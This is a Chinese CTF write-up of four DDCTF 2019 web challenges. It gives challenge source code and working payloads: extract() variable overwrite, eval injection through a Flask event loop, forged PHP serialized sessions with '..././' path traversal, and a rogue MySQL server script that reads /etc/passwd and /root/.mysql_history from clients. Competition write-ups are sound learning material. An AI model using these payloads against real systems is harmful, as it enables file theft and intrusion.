DDCTF 2019部分web writeup

  ctf

0x00前言

这几天打了DDCTF,为国赛做做准备

0x01 滴~

打开题目是一个jpg的图片

其源码为两次base64加密和一次hex加密,尝试使用index.php放入jpg参数中从base64图片中得到源码

base64解密一下

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "test\n";

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

发现config字符被其换成了!,因此尝试其他的,在上面的一个博客中寻找信息,打开这个博客,在博客列表中发现了两篇博客访问量奇高

于是打开swp这篇博客,发现一个字符串.practice.txt.swp

这里要脑洞一下,把.去掉,编码放入参数中得到

解码得到hint flags!dd.php,读取源码,正好使用config替换成了!进行源码读取

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
        {
                echo $flag;
        }
        else
        {
                echo'hello';
        }
}

?>

extract变量覆盖漏洞,构造payload得到flag

http://117.51.150.246/f1ag!ddctf.php?uid=&k=

脑洞真大呀,还增加了出题人博客访问量。。。

0x02 homebrew event loop

既然是主攻python型web狗,那么flask框架又怎能不做呢,开头题目给了源码,在审计源码的时候就顺便打了几个注释

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f99147e857'

def FLAG():
	return 'FLAG_is_here_but_i_wont_show_you'  # censored
	
def trigger_event(event):
	session['log'].append(event)  # 将得到的事件加入到session中
	if len(session['log']) > 5: session['log'] = session['log'][-5:]  # 如果session事件长度大于五,则取后面的5个
	if type(event) == type([]):
		request.event_queue += event
	else:
		request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
	haystack = haystack[haystack.find(prefix)+len(prefix):]  
	if postfix is not None:
		haystack = haystack[:haystack.find(postfix)]
	return haystack
	
class RollBackException: pass

def execute_event_loop():
	valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
	# 设置白名单
	resp = None
	while len(request.event_queue) > 0:
		event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
		request.event_queue = request.event_queue[1:]
		if not event.startswith(('action:', 'func:')): continue
		for c in event:
			if c not in valid_event_chars: break
		else:
			is_action = event[0] == 'a'
			action = get_mid_str(event, ':', ';') # 找出:之后;之前的所有字符串
			args = get_mid_str(event, action+';').split('#') # 将最近;后面的参数以#进行分割的参数
			try:
				event_handler = eval(action + ('_handler' if is_action else '_function'))
				# 执行可执行的函数
				ret_val = event_handler(args)
			except RollBackException:
				if resp is None: resp = ''
				resp += 'ERROR! All transactions have been cancelled. <br />'
				resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
				session['num_items'] = request.prev_session['num_items']
				session['points'] = request.prev_session['points']
				break
			except Exception, e:
				if resp is None: resp = ''
				#resp += str(e) # only for debugging
				continue
			if ret_val is not None:
				if resp is None: resp = ret_val
				else: resp += ret_val
	if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
	session.modified = True
	return resp
	
@app.route(url_prefix+'/')
def entry_point():
	querystring = urllib.unquote(request.query_string)
	request.event_queue = []
	if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
		querystring = 'action:index;False#False'
	if 'num_items' not in session:
		session['num_items'] = 0
		session['points'] = 3
		session['log'] = []
	request.prev_session = dict(session)
	trigger_event(querystring)
	return execute_event_loop()

# handlers/functions below --------------------------------------
# 检查之前在session的函数等待执行的事件
def view_handler(args):
	page = args[0]
	html = ''
	html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
	if page == 'index':
		html += '<a href="./?action:index;True%23False">View source code</a><br />'
		html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
		html += '<a href="./?action:view;reset">Reset</a><br />'
	elif page == 'shop':
		html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
	elif page == 'reset':
		del session['num_items']
		html += 'Session reset.<br />'
	html += '<a href="./?action:view;index">Go back to index.html</a><br />'
	return html

def index_handler(args):
	bool_show_source = str(args[0])
	bool_download_source = str(args[1])
	if bool_show_source == 'True':
	
		source = open('eventLoop.py', 'r')
		html = ''
		if bool_download_source != 'True':
			html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
			html += '<a href="./?action:view;index">Go back to index.html</a><br />'
			
		for line in source:
			if bool_download_source != 'True':
				html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
			else:
				html += line
		source.close()
		
		if bool_download_source == 'True':
			headers = {}
			headers['Content-Type'] = 'text/plain'
			headers['Content-Disposition'] = 'attachment; filename=serve.py'
			return Response(html, headers=headers)
		else:
			return html
	else:
		trigger_event('action:view;index')
		
def buy_handler(args):
	num_items = int(args[0])
	if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
	session['num_items'] += num_items 
	trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
	
def consume_point_function(args):
	point_to_consume = int(args[0])
	if session['points'] < point_to_consume: raise RollBackException()
	session['points'] -= point_to_consume
	
def show_flag_function(args):
	flag = args[0]
	#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
	return 'You naughty boy! ;) <br />'
	
def get_flag_handler(args):
	if session['num_items'] >= 5:
		trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
	trigger_event('action:view;index')
	
if __name__ == '__main__':
	app.run(debug=False, host='0.0.0.0')

虽然flag不会返回到页面中,但是会返回到session当中,著需要使用p神的session解密脚本进行解密即可,本地端起来之后进行了几项测试,一直以为是条件竞争或者python本地端在多线程执行命令会产生错误,试了一天之后发现split函数那块可能存在eval的命令注入,因此构造payload,用#命令进行分离

http://116.85.48.107:5002/d5af31f99147e857/?action:trigger_event%23;action:buy;5%23action:get_flag;

这里注意要将#进行url编码成%23,否则浏览器会默认将#认为一个锚点从而将后面的字符认为是当地页面的url连接,得到session,然后用脚本解密得到flag,虽然会报错,但是依然有有效session

解密得到

λ python2 flask_session_decode.py .eJyNjk9LwzAYxr-K5LxDkm52KfQimMKgDW61SSMizTJnszQrdt00o9_dIijIPOz28vz5vc8Z2P0WRE9ncKNABEqewYqTnrnlZ8W1k2LxKoW0yj0YhqnRiT0q09Za7MJslb2Vwb JVeHorcQEFll3J1yEYJhe4ZoE2eYdG68LRVlPSqIQ6dopjMDz_tqUr-tK3RuGZ1xxZEdwdKz6DzD_G_5CcbKVYh2NiJ8X2m_QX5KuEBD8r06CEaTH32mS9pvOPHJKTwJTJcUx-T_MVImbU3lN-7TPg-ualPmyaDkR4Atp97Q7jiYYvii1wbw.D5tj-Q.8x6UiLj0Ro0p7JL4N3X9e2vKF-c
{u'points': 1, u'num_items': 2, u'log': ['action:trigger_event#;action:buy;5#action:get_flag;', ['action:buy;5', 'action:get_flag;'], ['func:consume_point;5', 'action:view;index'], 'func:show_flag;3v41_3v3nt_1OOp_aNd_fLASK_cOOk1e', 'action:view;index']}

0x03 web签到题

刚开始登陆时提示不为admin,抓包分析之后发现其向api/auth.php发起请求

POST /app/Auth.php HTTP/1.1
Host: 117.51.158.44
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://117.51.158.44/index.php
Content-Type: application/json;charset=utf-8
didictf_username: 
X-Requested-With: XMLHttpRequest
Connection: close
Content-Length: 0

其中有一个字段didictf_username: ,将字段填上admin即要我们访问另一个路径

进入之后得到两个源码

<?php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}
<?php
include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

php的序列化一直都不知道如何写,看了师傅们的writeup之后,其大致思路为通过session反序列化-->创建Application对象-->控制path,其主要技巧在于nickname方法

 if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

sprintf函数是格式化字符串的函数,因此可以用格式字符串的漏洞,传入%s使得第一次格式化为%s,第二次则被替换为$this->eancrykey

既可以伪造出session,继续观察application这个类,发现它将../等都替换掉了

private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;

因此想到了如下几篇目录越权文章,freebuf的和papaer的文展,使用字符..././逃逸出../符号,猜测flag在../config/flag.txt下,正好也为18字符一下,编写代码

<?php 
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
    }

}
$sessions = unserialize(urldecode("a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22cdacddfa2c268408b8f86a5f5f2e2234%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22222.183.184.69%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A78%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A66.0%29+Gecko%2F20100101+Firefox%2F66.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Da0e16ec8d6107b82abd15c235f0d289e"));
$app = new Application();
$secret = "EzblrbNS";
$app->path = "..././config/flag.txt";
array_push($sessions,$app);
print_r(urlencode(serialize($sessions)));
?>

得出session

a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22cdacddfa2c268408b8f86a5f5f2e2234%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22222.183.184.69%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A78%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A66.0%29+Gecko%2F20100101+Firefox%2F66.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bi%3A0%3BO%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D%7D18bab1652349084c210c948cb92ff966

替换cookie得到flag

 

0x04 mysql弱口令

拜读过lightless关于Read MySQL Client's File的文章,但是一直没有安排上分析,但是这次尽然考到了,那么要提上日程了...大致就是通过mysql的load_file的网络流进行任意文件读取,其agent.py中的文件

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start    ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

调用netstat -plnt命令查看进程和端口并返回给http请求,使用了8123端口去验证该端口是否为mysql服务,网上找的代码

#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",4668))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

放服务器中去运行,这里要注意同时也要在服务器端运行agent.py命令才能进行mysql扫描,成功读取到etc/passwd

再从/root/.mysql_history读取到flag

明天国赛加油吧